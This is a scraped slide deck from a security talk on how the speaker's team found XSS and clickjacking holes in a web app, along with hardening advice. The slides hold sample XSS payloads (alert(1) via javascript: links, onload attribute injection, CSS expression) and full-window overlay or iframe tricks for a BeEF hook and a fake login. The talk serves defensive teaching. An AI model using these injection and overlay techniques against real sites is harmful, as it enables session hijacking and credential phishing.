how we hacked how we hacked
play

How we hacked How we hacked and what happened next and how you can - PowerPoint PPT Presentation

How we hacked How we hacked and what happened next and how you can be safe Ruben van Vreeland Fixed Fixed https://www.owasp.org/index.php/Top_10_2013-Top_10 <script>alert(1)</script> User Data Change Data XSS Bootstrap


  1. How we hacked How we hacked and what happened next and how you can be safe Ruben van Vreeland

  2. Fixed

  3. Fixed

  4. https://www.owasp.org/index.php/Top_10_2013-Top_10

  5. <script>alert(1)</script>

  6. User Data Change Data XSS Bootstrap Payload Passwords WEBPAGE WEBPAGE Comand & Control BROWSER Firewalled http://jsbin.com/femapijiwe/1/edit?html,output

  7. <a href="javascript:alert(/Exploit me!/)"> javascript:alert(/Exploit me!/) </a>

  8. <a href=“ javascript:payload ” BEEF HOOK style=“ width:100%; height: 100%; Set size position: fixed; Set position type left: 0px; top: 0px; Window position background: rgba(255, 0, 0, 0.5); ” Test mode ></a> http://jsbin.com/videpusaza/edit?html,output

  9. <a style=“width: expression(alert(1));” />

  10. <a href=“ javascript:payload ” style=“ width:100%; height: 100%; left: 0px; top: 0px; position: fixed; background: rgba(255, 0, 0, 0.5); ” ></a>

  11. <head> <!-- Bootstrap core CSS --> <link href="https://getbootstrap.com/dist/css/bootstrap.min.css" rel="stylesheet"> </head>

  12. bootstrap.css 3663 .dropdown-backdrop { 3664 position: fixed; 3665 top: 0; 3666 right: 0; 3667 bottom: 0; 3668 left: 0; 3669 z-index: 990; 3670 }

  13. bootstrap.css 4299 .navbar-fixed-top, 4300 .navbar-fixed-bottom { 4301 position: fixed; 4302 right: 0; 4303 left: 0; 4304 z-index: 1030; 4305 }

  14. <a href=“ javascript:payload ” BEEF HOOK width=“100%” Set full window Set full window height=“100%” class=“dropdown-backdrop Set position type Set position navbar-fixed-top”> Z-index </a> http://jsbin.com/qotixugiko/1/edit?html,output

  15. iframe

  16. <iframe src=“https://example.com/” BEEF HOOK width=“100%” Set full window Set full window height=“100%” class=“dropdown-backdrop Set position type Set position navbar-fixed-top”> Z-index </iframe> http://jsbin.com/qotixugiko/2/edit?html,output

  17. javascript link whitelisted iframe 100% covering iframe iframe cross domain iframe open redirect 100% covering link 100% covering image login screen image

  18. image link

  19. Fixed

  20. you@hackme.bitsensor.io **************** Login http://jsbin.com/daracenafa/1/edit?html,output

  21. Fixed

  22. you@hackme.bitsensor.io **************** Login http://jsbin.com/dejite/13/edit

  23. http://jsbin.com/dejite/13/edit

  24. remove from whitelist attribute: id class style form iframe oembed/embed.ly

  25. harden HTML5 iframe sandbox allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation

  26. harden HTML5 iframe sandbox allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation

  27. attempts 1 javascript link 5 whitelisted iframe 10 100% covering iframe 11 iframe cross domain 14 iframe open redirect 20 100% covering link 23 100% covering image 25 covering image & link

  28. <img src=“ /uploads/mycatpicture.png ” /> <img src=“ ” “ ” /> <img src=“ ” /> <a “ ” /> <img src=“ ” /><script>alert(1)</script><a “ ” />

  29. <img src=“ /favicon.png ” /> <img src=“ /favicon.png” “ ” /> <img src=“ /favicon.png” onload=“ “ ” /> <img src=“ /favicon.png” onload=“alert(1) “ ” />

  30. <a href=“http://twitter.com/@EnableBitSensor”/> <a href=“ ”/> <a href=“javascript: alert(1) ”/> <a href=“javascript:// alert(1) ”/> <a href=“javascript://%0Aalert(1) ”/>

  31. <script> var user = ruben ;</script> <script> var user = ruben; alert(1) ;</script>

  32. <div style=“width: 10px ;”/> <div style=“width: expression(alert(1)) ;”/>

  33. security metrics logging (ELK) exceptions ids/ips (modsecurity)

  34. https://git.bitsensor.io/plugins/java-spring

  35. 30 juni GOTO Night Eindhoven Hackers using the ELK stack training

  36. +31 (0)6 122 10 587 ruben@bitsensor.io 0x4D4ED75AD9BB92F8

  37. Stay safe.

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend